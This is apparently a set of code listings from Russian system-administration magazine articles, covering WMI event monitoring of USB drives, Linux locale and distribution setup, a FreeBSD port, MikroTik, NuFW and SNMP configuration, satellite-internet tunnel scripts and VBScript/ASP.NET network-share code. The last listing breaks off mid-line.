Узнай секреты WMI: события и провайдеры Часть I: дополнительные возможности Константин Леонтьев Листинг 1. Пример сценария синхронного отслеживания подключения устройств USB strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2") Set objEvents = objWMIService.ExecNotificationQuery _ ("SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE " & _ "TargetInstance ISA 'Win32_LogicalDisk'" & _ " AND TargetInstance.DriveType = 2") Wscript.Echo "Ожидаем события ..." Do While(True) Set objReceivedEvent = objEvents.NextEvent Wscript.Echo "Name: " & objReceivedEvent.TargetInstance.Name Wscript.Echo "Caption: " & objReceivedEvent.TargetInstance.Caption Wscript.Echo "FileSystem: " & objReceivedEvent.TargetInstance.FileSystem Wscript.Echo "Description: " & objReceivedEvent.TargetInstance.Description Loop Листинг 2. Пример сценария асинхронного отслеживания подключения дисковых устройств USB Sub SINK_OnObjectReady(objReceivedEvent, objAsyncContext) Wscript.Echo "Name: " & objReceivedEvent.TargetInstance.Name Wscript.Echo "Caption: " & objReceivedEvent.TargetInstance.Caption Wscript.Echo "FileSystem: " & objReceivedEvent.TargetInstance.FileSystem Wscript.Echo "Description: " & objReceivedEvent.TargetInstance.Description End Sub strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2") Set MySink = WScript.CreateObject( _ "WbemScripting.SWbemSink","SINK_") objWMIservice.ExecNotificationQueryAsync MySink, _ "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE " & _ "TargetInstance ISA 'Win32_LogicalDisk'" & _ " AND TargetInstance.DriveType = 2" WScript.Echo "Ожидаем события ..." While (True) Wscript.Sleep(1000) Wend Листинг 3. Одновременное использование синхронной и асинхронной техники обработки событий на примере Таймера Dim tCount Sub TIMER_OnObjectReady(objReceivedEvent, objAsyncContext) tCount = tCount + 1 Wscript.Echo "Произошло событие Таймера, счетчик tCount=" & tCount End Sub strComputer = "." tCount = 0 Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2") Set MySink = WScript.CreateObject("WbemScripting.SWbemSink","TIMER_") objWMIservice.ExecNotificationQueryAsync MySink, _ "SELECT * FROM __InstanceModificationEvent WHERE " & _ "TargetInstance ISA 'Win32_LocalTime'"& _ " AND TargetInstance.Second = 30" Set objEvents = objWMIService.ExecNotificationQuery("SELECT * FROM Win32_ProcessStartTrace") Wscript.Echo "Ожидаем запуска новых процессов..." Do While(tCount < 10) Set objReceivedEvent = objEvents.NextEvent WScript.Echo "Новый процесс: PID=" & objReceivedEvent.ProcessID _ & " Name=" & objReceivedEvent.ProcessName Loop MySink.Cancel mofcomp %windir%\wbem\Scrcons.mof Листинг 4. Файл NTLog-for-remdev.mof для регистрации постоянного подписчика событий // Создает экземпляр объекта стандартного подписчика NT Event log и обозначает его псевдонимом $CONSUMER #pragma namespace ("\\\\.\\root\\subscription") instance of NTEventLogEventConsumer as $CONSUMER { Name = "MyStandardConsumer"; // Уникальное имя экземпляра SourceName = "MyMonitoring"; // Системный источник события EventID = 235 ; // Номер события в журнале приложений EventType = 3; // Нумеротор EVENTLOG_INFORMATION_TYPE Category = 0; // Категорию сообщения мы не определяем (0) NumberOfInsertionStrings = 1; // Число текстовых строк в параметре InsertionStringTemplates InsertionStringTemplates = { "Removable Drive connected under " "drive letter %TargetInstance.Caption% with file system %TargetInstance.FileSystem%" }; }; // Создание экземпляра объекта фильтра событий и присвоение ему псевдонима $FILTER instance of __EventFilter as $FILTER { Name = "MyRemDevFilter"; // Уникальное имя экземпляра // Определяем запрос WQL для отбора интересующих нас событий Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA " "\"Win32_LogicalDisk\" AND TargetInstance.DriveType = 2" ; QueryLanguage = "WQL"; // Определяем язык запроса EventNamespace = "root\\CIMv2"; // Определяем пространство имен, где будет выполняться запрос }; // Создаем экземпляр объекта связывания между фильтром и подписчиком, // используя их временные псевдонимы instance of __FilterToConsumerBinding { Consumer = $CONSUMER; Filter = $FILTER; }; mofcomp –check NTLog-for-remdev.mof mofcomp NTLog-for-remdev.mof Листинг 5. Код из файла script.vbs. Файл должен находиться в папке c:\windows\system32\wbem Dim objFSO, objFile Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile("C:\ScriptLog.txt", 8, true) objFile.WriteLine "Time: " & Now & "; Entry made by: ASEC" objFile.WriteLine "Script Started for USB Drive: " & TargetEvent.TargetInstance.Caption objFile.Close Листинг 6. Пример кода MOF-файла для создания экземпляра стандартного подписчика, выполняющего сценарий из указанного текстового файла instance of ActiveScriptEventConsumer as $CONSUMER { Name = "MyStandardConsumer"; KillTimeout = 300; ScriptingEngine = "VBScript"; ScriptFileName = "c:\\windows\\system32\\wbem\\script.vbs"; }; Листинг 7. Пример кода MOF-файла для создания экземпляра стандартного подписчика, выполняющего сценарий из сохраненного в репозитории WMI кода VBScript instance of ActiveScriptEventConsumer as $CONSUMER { Name = "MyStandardConsumer"; ScriptingEngine = "VBScript"; KillTimeout = 300; ScriptText = "Dim objFSO, objFile\n" "Set objFSO = CreateObject(\"Scripting.FileSystemObject\")\n" "Set objFile = objFSO.CreateTextFile(\"C:\\ScriptLog.txt\", 8, true)\n" "objFile.WriteLine \"Time: \" & Now & \"; Entry made by: ASEC2\"\n" "objFile.WriteLine \"Script Started for " USB Drive: \" & " "TargetEvent.TargetInstance.Caption\n" "objFile.Close\n"; }; Листинг 8. Отмена регистрации постоянного стандартного подписчика для NTEventLogEventConsumer On Error Resume Next Set objWIMService = GetObject("winmgmts:\\.\root\subscription") Set objList = objWIMService.ExecQuery("references of {__EventFilter.Name='MyRemDevFilter'}") For each objInst in objList objInst.Delete_ Next Set objList = objWIMService.ExecQuery"references of {NTEventLogEventConsumer.Name='MyStandardConsumer'}") For each objInst in objList objInst.Delete_ Next Set objSTDConsumerInst = GetObject("winmgmts:\\.\root\subscription:NTEventLogEventConsumer='MyStandardConsumer'") objSTDConsumerInst.Delete_ Set objEventFltInst = GetObject("winmgmts:\\.\root\subscription:__EventFilter='MyRemDevFilter'") objEventFltInst.Delete_ Листинг 9. Пример синхронного отслеживания событий с файлами TXT в папке c:\temp strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMv2") Set objEvents = objWMIService.ExecNotificationQuery _ ("SELECT * FROM __InstanceOperationEvent WITHIN 5 WHERE " & _ "TargetInstance ISA 'CIM_DataFile'" & _ " AND TargetInstance.Drive = 'c:'" & _ " AND TargetInstance.Extension = 'txt'" & _ " AND TargetInstance.Path = '\\temp\\'") Wscript.Echo "Ожидаем события ..." Do While(True) Set objReceivedEvent = objEvents.NextEvent WScript.Echo "Filename: " & objReceivedEvent.TargetInstance.FileName WScript.Echo "Name: " & objReceivedEvent.TargetInstance.Name Loop Листинг 10. Пример синхронного отслеживания событий изменения значения в реестре strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\DEFAULT") Set objEvents = objWMIService.ExecNotificationQuery _ ("SELECT * FROM RegistryValueChangeEvent WHERE " & _ "Hive = 'HKEY_LOCAL_MACHINE'" & _ " AND KeyPath = 'SOFTWARE\\MyKey\\MySubKey\\'" & _ " AND ValueName = 'MyValue'") Wscript.Echo "Ожидаем события ..." Do While(True) Set objReceivedEvent = objEvents.NextEvent Wscript.Echo "Произошло событие RegistryValueChangeEvent." Loop ----------------------------------------------------------------------------------------------------------------- Кириллизация в Linux Алексей Барабанов # localedef -i ru_RU -f CP1251 ru_RU.CP1251 > locale > locale #!/bin/sh LOCALE=/usr/lib/locale LP=ru_RU LD=$(which localedef) [ "1$LD" == "1" ] && { echo localedef not found ; exit -1 ; } LD="$LD -c -i $LP" [ "1$(locale -a | grep ^$LP | grep utf8)" == "1" ] && $LD -f UTF-8 $LP.UTF-8 [ "1$(locale -a | grep ^$LP | grep UTF-8)" == "1" ] && ln -sf $LOCALE/$LP.utf8 $LOCALE/$LP.UTF-8 [ "1$(locale -a | grep ^$LP | grep koi8r)" == "1" ] && $LD -f KOI8-R $LP.KOI8-R [ "1$(locale -a | grep ^$LP | grep KOI8-R)" == "1" ] && ln -sf $LOCALE/$LP.koi8r $LOCALE/$LP.KOI8-R [ "1$(locale -a | grep ^$LP | grep cp1251)" == "1" ] && $LD -f CP1251 $LP.CP1251 [ "1$(locale -a | grep ^$LP | grep CP1251)" == "1" ] && ln -sf $LOCALE/$LP.cp1251 $LOCALE/$LP.CP1251 [ "1$(locale -a | grep ^$LP | grep iso88595)" == "1" ] && $LD -f ISO-8859-5 $LP.ISO-8859-5 [ "1$(locale -a | grep ^$LP | grep ISO-8859-5)" == "1" ] && ln -sf $LOCALE/$LP.iso88595 $LOCALE/$LP.ISO-8859-5 [ "1$(locale -a | grep ^$LP | grep cp866)" == "1" ] && $LD -f IBM866 $LP.CP866 [ "1$(locale -a | grep ^$LP | grep CP866)" == "1" ] && ln -sf $LOCALE/$LP.cp866 $LOCALE/$LP.CP866 [ "1$(locale -a | grep ^$LP | grep maccyrillic)" == "1" ] && $LD -f MAC-CYRILLIC $LP.MAC-CYRILLIC [ "1$(locale -a | grep ^$LP | grep MAC-CYRILLIC)" == "1" ] && ln -sf $LOCALE/$LP.maccyrillic $LOCALE/$LP.MAC-CYRILLIC > locale -a | grep ^ru_RU # SuSEconfig -module profiles» # grep ^KEYTABLE /etc/sysconfig/keyboard KEYTABLE="ru1.map.gz" # grep ^CONSOLE_ /etc/sysconfig/console CONSOLE_FONT="Cyr_a8x16.psfu" CONSOLE_UNICODEMAP="" CONSOLE_SCREENMAP="trivial" CONSOLE_MAGIC="(K" CONSOLE_ENCODING="UTF-8" # cat console2cp1251 #!/bin/sh PREF=/etc/sysconfig [ "1$UID" != "10" ] && { echo "you must be root!" ; exit ; } # Console perl -i -p -e 's/^CONSOLE_FONT=.*/CONSOLE_FONT=Cyr_a8x16.psfu/g' $PREF/console perl -i -p -e 's/^CONSOLE_SCREENMAP=.*/CONSOLE_SCREENMAP=cp1251_to_uni/g' $PREF/console perl -i -p -e 's/^CONSOLE_ENCODING=.*/CONSOLE_ENCODING=CP1251/g' $PREF/console # Keyboard perl -i -p -e 's/^KEYTABLE=.*/KEYTABLE=ru_win.map.gz/g' $PREF/keyboard # Language perl -i -p -e 's/^RC_LANG=.*/RC_LANG=ru_RU.CP1251/g' $PREF/language rckbd restart exit alekseybb@wsalekseybb:~> locale alekseybb@wsalekseybb:~> ssh alekseybb@192.168.0.184 alekseybb@wsvm02:~> locale alekseybb@wsvm02:~> grep ^RC_LANG /etc/sysconfig/language wsvm02:~ # grep ^AcceptEnv /etc/ssh/sshd_config wsalekseybb:~ # grep ^SendEnv /etc/ssh/ssh_config ----------------------------------------------------------------------------------------------------------------- Знакомимся с Gentoo Часть I – установка системы Сергей Супрунов # mkfs -t ext3 /dev/hda1 # mkswap /dev/hda3 # swapon /dev/hda3 # mkdir /mnt/gentoo # mount /dev/hda1 /mnt/gentoo # date # tar xvjpf stage3-x86-2006.0.tar.bz2 -C /mnt/gentoo # tar xvjpf portage-20060308.tar.bz2 -C /mnt/gentoo/usr # mount -t proc none /mnt/gentoo/proc # mount -o bind /dev /mnt/gentoo/dev # chroot /mnt/gentoo /bin/bash # env-update # source /etc/profile # grep -v rootfs /proc/mounts > /etc/mtab # USE="-doc symlink" emerge gentoo-sources # cd /usr/src/linux # make menuconfig # make # make modules_install # tar xvjpf portage-20060308.tar.bz2 -C /mnt/gentoo/usr # emerge syslog-ng # emerge vixie-cron # rc-update add syslog-ng default # rc-update add vixie-cron default # USE="-X" emerge vim # emerge grub # vi /boot/grub/menu.lst # grub-install /dev/hdа ----------------------------------------------------------------------------------------------------------------- Создаём собственную ОС на базе Linux Илья Александров $ mount /dev/hda5 /mnt/mylin $ export MYLIN=/mnt/mylin $ useradd mylin $ chown –R mylin $MYLIN $ cd $MYLIN $ mkdir –p bin boot dev etc home lib mnt opt root sbin usr/{X11R6,local} var $ mkdir var/{cache,lib,local,lock,log,opt,run,spool} $ mkdir opt/{bin,doc,include,info,lib,man} $ ./configure –-help $ mkdir $MYLIN/stat $ ./configure –-enable-static-link --prefix=$MYLIN/stat $ make $ make install $ make menuconfig $ make bzImage $ make modules $ chroot $MYLIN/usr/bin/env –i \ >HOME=/root TERM=$TERM PS1=’\u:\w\$’ \ >PATH=/bin: /usr/bin: /sbin: /usr/sbin: /stat/sbin \ >/stat/bin/bash --login $ mount proc /proc -t proc $ /usr/src/glibc-2.x.x/configure --prefix=/usr --enable-add-ons --libexecdir=/usr/bin && & make & make install $ make localedata/install-locales $ /stat/bash --login $ make modules_install $ make install $ make unstall $ rm -rf /stat UTC=0 echo "HOSTNAME=my_linux" > /etc/sysconfig/network # filesystem mount-point fs-type options dump fsck-order /dev/hda5 / ext3 defaults 1 1 /dev/hda3 swap swap pri=1 0 0 proc /proc proc defaults 0 0 $ exit # LFS image=/boot/bzImage label=lfs root= read-only boot=/dev/hda delay=40 compact vga=normal root=/dev/hda1 read-only image=/boot/zImage-2.6.12 label=Linux $ /sbin/lilo –v ----------------------------------------------------------------------------------------------------------------- Порт для FreeBSD – своими руками Часть первая – основные возможности Рашид Ачилов WWW: http://this.insert.link/~homepage Author: John J. Smith # make install >& install.log # make install > install.log 2>> install.log # New ports collection makefile for: contactsmenu # Date created: 01 Mar 2006 # Whom: Rashid N. Achilov # # $FreeBSD$ # New ports collection makefile for: contactsmenu # Date created: 01 Mar 2006 # Whom: Rashid N. Achilov # # $FreeBSD$ PORTNAME= contactsmenu PORTVERSION= 0.3.4b CATEGORIES= mail kde MASTER_SITES= http://www.kde-apps.org/content/files/ DISTNAME= 34479-${PORTNAME}-${PORTVERSION} MASTER_SITES= ${MASTER_SITE_SOURCEFORGE} MASTER_SITE_SUBDIR= contactsmenu MAINTAINER= shelton@granch.ru COMMENT= KDE 3.x addressbook Kicker applet USE_KDEBASE_VER= 3 USE_GMAKE= yes USE_BZIP2= yes GNU_CONFIGURE= yes CONFIGURE_ARGS += --with-qt-dir=${QT_PREFIX} \ --with-extra-includes=${LOCALBASE}/include \ --with-extra-libs=${LOCALBASE}/lib .include lib/kde3/kickermenu_contactsmenu.so lib/kde3/kickermenu_contactsmenu.la share/apps/kicker/menuext/contactsmenu.desktop share/locale/bg/LC_MESSAGES/libkickermenu_contactsmenu.mo share/locale/br/LC_MESSAGES/libkickermenu_contactsmenu.mo share/locale/da/LC_MESSAGES/libkickermenu_contactsmenu.mo share/locale/de/LC_MESSAGES/libkickermenu_contactsmenu.mo share/locale/ga/LC_MESSAGES/libkickermenu_contactsmenu.mo share/locale/fr/LC_MESSAGES/libkickermenu_contactsmenu.mo share/locale/pt/LC_MESSAGES/libkickermenu_contactsmenu.mo share/locale/sv/LC_MESSAGES/libkickermenu_contactsmenu.mo @dirrm share/locale/bg/LC_MESSAGES @dirrm share/locale/bg @dirrm share/locale/br/LC_MESSAGES @dirrm share/locale/br @dirrm share/locale/da/LC_MESSAGES @dirrm share/locale/da @dirrm share/locale/de/LC_MESSAGES @dirrm share/locale/de @dirrm share/locale/ga/LC_MESSAGES @dirrm share/locale/ga @dirrm share/locale/fr/LC_MESSAGES @dirrm share/locale/fr @dirrm share/locale/pt/LC_MESSAGES @dirrm share/locale/pt @dirrm share/locale/sv/LC_MESSAGES @dirrm share/locale/sv # cd /usr/ports/devel/portlint # make all install # portlint -abvtAN # portlint -abvtAN .if defined(WITHOUT_NLS) PLIST_SUB+= NLS="@comment " .else USE_GETTEXT= yes PLIST_SUB+= NLS="" .endif %%NLS%%share/locale/bg/LC_MESSAGES/libkickermenu_contactsmenu.mo %%NLS%%share/locale/br/LC_MESSAGES/libkickermenu_contactsmenu.mo %%NLS%%share/locale/da/LC_MESSAGES/libkickermenu_contactsmenu.mo %%NLS%%share/locale/de/LC_MESSAGES/libkickermenu_contactsmenu.mo %%NLS%%share/locale/ga/LC_MESSAGES/libkickermenu_contactsmenu.mo %%NLS%%share/locale/fr/LC_MESSAGES/libkickermenu_contactsmenu.mo %%NLS%%share/locale/pt/LC_MESSAGES/libkickermenu_contactsmenu.mo %%NLS%%share/locale/sv/LC_MESSAGES/libkickermenu_contactsmenu.mo # make makesum # make PREFIX=/tmp/1 WRKSRC= ${WRKDIR}/${PORTNAME}-${PORTVERSION} # cd /var/db/pkg # pkg_create -b contactsmenu-0.3.4b lib/kde3/kickermenu_contactsmenu.so @comment MD5:fd3cf198770bac4e1b8453f3ba2d6f90 lib/kde3/kickermenu_contactsmenu.la @comment MD5:4de2541c36ea248066aecb851aedbbe5 ----------------------------------------------------------------------------------------------------------------- MikroTik – Router OS Сергей Яремчук [admin@MikroTik] > ip [admin@MikroTik] ip> address [admin@MikroTik] ip address > add [admin@MikroTik] > /ip address add address 192.168.0.1/24 interface ether1 [admin@MikroTik] > /ip address add address 192.168.1.100/24 interface ether2 [admin@MikroTik] interface> set ether1 name=Local; set ether2 name=Public [admin@MikroTik] ip route> add gateway=192.168.1.100/24 [admin@MikroTik] > /interface pppoe-client add name=pppoe-user-grinder user=grinder password=1234567 interface=Public service-name=internet disabled=no dial-on-demand=yes ----------------------------------------------------------------------------------------------------------------- Шлюз аутентификации пользователей NuFW Сергей Яремчук # KERNEL_DIR=/usr/src/linux IPTABLES_DIR=/home/sergej/src/iptables./runme ip_queue_vwmark # KERNEL_DIR=/usr/src/linux IPTABLES_DIR=/home/sergej/src/iptables./runme CONNMARK $ ./configure --with-ldap --with-system-auth --with-mysql-log --sysconfdir=/etc/nufw/ --prefix=/usr --with-debug $ make # make install # mkdir /etc/nufw/ # cp conf/nuauth.conf /etc/nufw/ # vi /etc/nufw/nuauth.conf # Файл /etc/nufw/nuauth.conf # Адрес, на котором демон nuauth будет принимать клиентов, в нашем случае со всех доступных адресов nuauth_client_listen_addr="0.0.0.0" # IP-адрес, на котором nuauth слушает пакеты nufw nuauth_nufw_listen_addr="127.0.0.1" # Порт для запросов nufw nuauth_gw_packet_port=4129 # Порт для пакетов аутентификации пользователей nuauth_user_packet_port=4130 # Адрес и порт nufw маршрутизатора, на котором он будет ожидать ответ в незащищенном UDP, – это локальный адрес. # В TLS-режиме это может быть список адресов # nufw_gw_addr="192.168.75.1 192.168.75.254" nufw_gw_addr="127.0.0.1" nufw_gw_port=4128 # Что делать в том случае, когда пользователь является членом групп с противоречивыми установками # (0 - нет, 1 - разрешить) nuauth_prio_to_nok=1 # Аутентификация может работать в двух режимах. # POLL: клиент отправляет пакет в каждом случае, когда требуется аутентификация в этом режиме, # трафик меньше, поэтому он может использоваться для удаленных либо сильно загруженных сетей # PUSH: демон nuauth посылает предупреждение клиенту о необходимости аутентификации (лучшее время отклика) nuauth_push_to_client=1 # Ограничения регистрации пользователей # 0 : без ограничений (по умолчанию) # 1 : один вход для пользователя # 2 : один вход для IP # nuauth_connect_policy=1 # Для клиентов, не поддерживающих протокол NuFW, или если его применение затруднено, например, использованием NAT # или межсетевых экранов, разделяющих сети, применяется аварийная (hello) аутентификация, базирующаяся только # на IP и поддерживающая только одного пользователя. Такой способ работает для всех типов потоков IP nuauth_hello_authentication=0 nuauth_do_ip_authentication=0 # Модуль аутентификации пользователей (libldap, dbm, plaintext, system) nuauth_user_check_module=»libdbm» # Модуль списков контроля доступом (libldap, libplaintext) nuauth_acl_check_module=»libplaintext» nuauth_acl_cache=1 # Модуль IP-аутентификации (libipauthident, rpc) nuauth_ip_authentication_module="libipauthident" # Ниже перечислены файлы для хранения сертификатов и ключей. # Cекретный ключ сервера (по умолчанию CONFIGDIR/nuauth.pem) nuauth_tls_key="/etc/nufw/nuauth.pem" # Сертификаты сервера nuauth_tls_cert="/etc/nufw/nuauth-cert.pem" nuauth_tls_cacert="/etc/nufw/NuFW-cacert.pem" # Использование клиентом сертификата вместо пароля nuauth_tls_request_cert=0 # Регистрация событий: «mysql», «pgsql», «syslog» nuauth_user_logs_module="syslog" # Регистрация деятельности пользователей: syslog, mysql, script. В последнем случае при подключении пользователей # будет запущен скрипт, лежащий в CONFDIR/user-up.sh и при разъединении CONFDIR/user-down.sh nuauth_user_session_logs_module="syslog mysql" # Списки пользователей и ACL при использовании для аутентификации текстовых файлов plaintext_userfile="/etc/nufw/users.nufw" plaintext_aclfile="/etc/nufw/acls.nufw" # Преобразование имени пользователя в верхний регистр # system_convert_username_to_uppercase=0 # cp conf/certs/nufw-* /etc/nufw/ #cp conf/cert/nuauth*.pem /etc/nufw/ #cp conf/cert/NuFW*.pem /etc/nufw/ # openssl req –new –x509 –nodes –days 365 –out /etc/nufw/nuauth-cert.pem –keyout /etc/nufw/nuauth.pem # openssl req –new –x509 –nodes –days 365 –out /etc/nufw/nufw-cert.pem –keyout /etc/nufw/nufw-key.pem Username: passwd:uid:gid[,gid,gid] sergej:passwd1:1:102 admin:admin_passwd:2:100,102,103 [ssh] decision=1 gid=100, 102 proto=6 SrcIP=0.0.0.0/0 SrcPort=1024-65535 DstIP=0.0.0.0/0 DstPort=22 App=/usr/bin/ssh OS=Linux [full] decision=1 gid=100 proto=6 SrcIP=0.0.0.0/0 SrcPort=1024-65535 DstIP=0.0.0.0/0 #nuaclgen.pl –A cn=ssh,ou=Acls,dc=inl,dc=fr –p 6 –dport 22 –AppName "/usr/bin/ssh" –j ACCEPT –g 100 # /sbin/lsmod | grep ip_queue # /sbin/modprobe ip_queue # /sbin/iptables –A OUTPUT –s 192.168.0.0/24 –p tcp –dport 22 –m state –state NEW –syn –j QUEUE # /sbin/iptables –A OUTPUT –m state –state ESTABLISHED,RELATED –j ACCEPT # /usr/sbin/nuauth –vvvvvvvvv #/usr/sbin/nufw –D –vvvv –d 127.0.0.1 –p 4129 $nutcpc –S –U 102 –H 192.168.0.1 ----------------------------------------------------------------------------------------------------------------- Интернет «от Москвы до самых до окраин» Роман Ерин options dvb_core dvb_shutdown_timeout=0 Название оператора:частота в Мгц:поляризация(h|v):fec(0-авто):символьная скорость(в килосимволах в сек.):PID:PID:0 #!/bin/bash PREFIX=/usr/local/sbin # Ваш пид – его вам сообщит ваш оператор связи PID1=523 # Имя сетевого интерфеса (менять не нужно) DEV_NAME1=dvb0_0 # IP-адрес можно любой, лишь бы он не пересекался по маске ни с каким другим адресом в вашей системе. # Настоятельно рекомендую оставить нули IP_ADDR=0.0.0.0 # MAC-адрес вашей карточки (как правило, его можно прочитать на бумажной наклейке на самой карте), # но можно использовать любой. Единственное ограничение – такого MAC-адреса не должно быть больше ни у кого, # кто использует этот спутник MAC_ADDR1=xx:xx:xx:xx:xx:xx case "$1" in start) # Загружаем модули modprobe dvb_core dvb_shutdown_timeout=0 modprobe b2c2_flexcop_pci # Если у вас настроен udev, то нужно немного времени, чтобы устройства появились в каталоге /dev sleep 3 # Тюним карточку $PREFIX/szap -c /etc/channels.conf -n 1 -p $PREFIX/dvbnet -p $PID1 /sbin/ifconfig $DEV_NAME1 $IP_ADDR /sbin/ifconfig $DEV_NAME1 hw ether $MAC_ADDR1 echo 1000000 > /proc/sys/net/core/rmem_max echo 0 > /proc/sys/net/ipv4/conf/dvb0_0/rp_filter ;; stop) # Останавливаем szap killall szap # Останавливаем сетевой интерфейс /sbin/ifconfig $DEV_NAME1 down $PREFIX/dvbnet -d 0 # Выгружаем модули rmmod b2c2_flexcop_pci b2c2_flexcop stv0299 dvb_core ;; restart) $0 stop $0 start ;; *) echo "Usage: start | stop | restart" esac #!/bin/bash LOCALIP=xx.xx.xx.xx # Ваш наземный постоянный IP-адрес REMOTEIP=xx.xx.xx.xx # IP-адрес сервера спутникового провайдера LOCALGW=xx.xx.xx.xx # Ваш наземный шлюз TUN=yy.yy.yy.yy # Ваш адрес в туннеле TUNGW=xx.xx.xx.xx # Адрес провайдера в туннеле NAME="skytun" # Имя тунеля modprobe ipip # Удаляем «мусор» в случае повторных запусков скрипта ip route del $REMOTEIP >/dev/null 2>&1 # Добавляем маршрут на сервер доступа провайдера «по земле» ip route add $REMOTEIP via $LOCALGW ip tunnel del $NAME # Создаём тунель ip tunnel add $NAME mode ipip remote $REMOTEIP local $LOCALIP ttl 255 ip link set $NAME mtu 1500 ip addr add $TUN peer $TUNGW dev $NAME ip link set $NAME up ip route del default ip route add default via $TUNGW ip route flush cache echo 1>/proc/sys/net/ipv4/ip_forward iptables -A FORWARD -p tcp -o skytun --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1300 # Раздаём интернет в сеть mynet/masklen iptables -t nat -A FORWARD -s mynet/masklen -j SNAT –to-source yy.yy.yy.yy ----------------------------------------------------------------------------------------------------------------- Управляем сетевым оборудованием с помощью протокола SNMP Андрей Бирюков snmp-server community RO snmp-server enable traps snmp-server host Листинг 1. Взаимодействие по протоколу SNMP #!/usr/bin/perl # Первая строка – путь к интерпретатору Perl use SNMP_Session; use BER; # Эти две библиотеки можно найти в исходных кодах к статье use strict; # Объявляем основную процедуру, выводящую значения параметров на экран sub snmp_get($@); $SNMP_Session::suppress_warnings = 1; my $ipv4_only_p = 0; my $snmp_version = 1; # По умолчанию используется версия 1 my $hostname = '172.17.39.1'; # управляемое устройство my $community = 'admin12345'; # SNMP community my %ugly_oids = qw( sysDescr 1.3.6.1.2.1.1.1.0 sysContact 1.3.6.1.2.1.1.4.0 sysName 1.3.6.1.2.1.1.5.0 sysLocation 1.3.6.1.2.1.1.6.0 ipInDelivers 1.3.6.1.2.1.4.9.0 ipInReceives 1.3.6.1.2.1.4.3.0 ipInAddrErrors 1.3.6.1.2.1.4.5.0 ); # объекты MIB (OID) в числовом виде my %pretty_oids; foreach (keys %ugly_oids) { $ugly_oids{$_} = encode_oid (split (/\./, $ugly_oids{$_})); $pretty_oids{$ugly_oids{$_}} = $_; } # в цикле преобразовываем OID srand(); # устанавливаем SNMP-сессию my $session = ($snmp_version == 1) ? SNMPv1_Session->open ($hostname, $community, 161, undef, undef, undef, undef,undef, $ipv4_only_p) : SNMPv2c_Session->open ($hostname, $community, 161, undef, undef, undef, undef, undef, $ipv4_only_p) or die "Couldn’t open SNMP session to $hostname: $SNMP_Session::errmsg"; # ошибка, если не удалось установить SNMP-сессию snmp_get ($session, qw(sysDescr sysContact sysName sysLocation ipInDelivers ipInReceives ipInAddrErrors)); $session->close (); sub snmp_get ($@) { my($session, @oids) = @_; my($response, $bindings, $binding, $value, $oid); grep ($_ = $ugly_oids{$_}, @oids); my $interf=''; my $stroka=''; if ($session->get_request_response (@oids)) { $response = $session->pdu_buffer; ($bindings) = $session->decode_get_response ($response); print "Content-type: text/html\n\n"; print " SNMP Management monitor
SNMP Management Monitor
"; while ($bindings ne '') { ($binding, $bindings) = decode_sequence ($bindings); ($oid, $value) = decode_by_template ($binding, "%O%@"); print " "; $stroka= pretty_print($value); print ''; } print "
", $pretty_oids{$oid}, " ',$stroka, '
"; } else { warn "SNMP problem: $SNMP_Session::errmsg\n"; } } Листинг 2. Получение SNMP Traps … # заголовок и объявление библиотек my $trap_session = SNMPv1_Session->open_trap_session () or die "cannot open trap session"; my ($trap, $sender_addr, $sender_port) = $trap_session->receive_trap () or die "cannot receive trap"; my ($community, $enterprise, $agent, $generic, $specific, $sysUptime, $bindings) = $trap_session->decode_trap_request ($trap) # устанавливаем trap session or die "cannot decode trap received" … # команды, связанные с получением сообщения, … # аналогичные предыдущему листингу my ($binding, $oid, $value); while ($bindings ne ‘’) { ($binding,$bindings) = &decode_sequence ($bindings); ($oid, $value) = decode_by_template ($binding, "%O%@"); # декодируем полученное сообщение print BER::pretty_oid ($oid)," => ", pretty_print ($value); # выводим ветку MIB и значение в строковом формате %mail = ( To => 'admin@mynetwork.ru', From => 'snmptrap@mynetwork.ru', Message => "SNMP trap received:".$bindings, SMTP => '10.0.1.2' ); sendmail(%mail) or die $Mail::Sendmail::error; # письмо администратору } # здесь собственно производится прием сообщений Trap, для того чтобы получать эти сообщения постоянно, # необходимо использовать бесконечный цикл, который прерывается при нажатии любой клавиши While (@_='') { my ($trap, $sender_addr, $sender_port) = $trap_session->receive_trap () or die "cannot receive trap"; } ----------------------------------------------------------------------------------------------------------------- Переход от VBScript к ASP и ASP.NET Часть II: дописываем Framework на примере сетевых папок Иван Коробко Пример 1. Создание сетевой папки на VBScript ' Обработчик ошибок On Error Resume Next ' Объявление констант PathToFolder="С:\Test" ShareName="Test" ObjectType="Fileshare" MaxUsers=10 ' Проверка существования каталога set fso=wscript.createobject("Scripting.FileSystemObject") If fso.FolderExists (PathToFolder)=False then set o=fso.createfolder(PathToFolder) end If ' Определение имени текущего компьютера Set WSHNetwork = CreateObject("WScript.Network") PCName=WSHNetwork.ComputerName ' Создание объекта Set ShareServiceObj = GetObject("WinNT://"+PCName+ "/LanManServer") set NewShare = ShareServiceObj.Create(ObjectType,ShareName) NewShare.Path = PathToFolder NewShare.MaxUserCount = MaxUsers NewShare.SetInfo ' сохранение изменений в файловую систему ' Объявление константы Dim PathToFolder As String = "C:\Test" Dim fso As New Scripting.FileSystemObject If fso.FolderExists(PathToFolder) = False Then fso.CreateFolder(PathToFolder) End If ' Объявление константы Dim PathToFolder As String = "C:\Test" ' Проверка существования каталога Dim fso As New Microsoft.VisualBasic.FileIO.FileSystem If fso.DirectoryExists(PathToFolder) = False Then fso.CreateDirectory(PathToFolder) End If Dim Temp As New WshNetwork Dim PCName As String = Temp.ComputerName Dim PCName As String = My.Computer.Name Dim PathToFolder As String = "C:\Test" Dim ShareName As String = "Test" Dim ObjectType As String = "FileShare" Dim MaxUsers As Integer = 10 Imports ActiveDS Dim con As ActiveDS Dim ShareServeceObj As ActiveDs.IADsContainer ShareServeceObj = GetObject("WinNT://" + PCName + "/LanManServer") Dim ShareServeceObj As ActiveDs.IADsContainer = GetObject("WinNT://" + PCName + "/LanManServer") ' Создание объекта Dim ShareServeceObj As ActiveDs.IADsContainer = GetObject("WinNT://" + 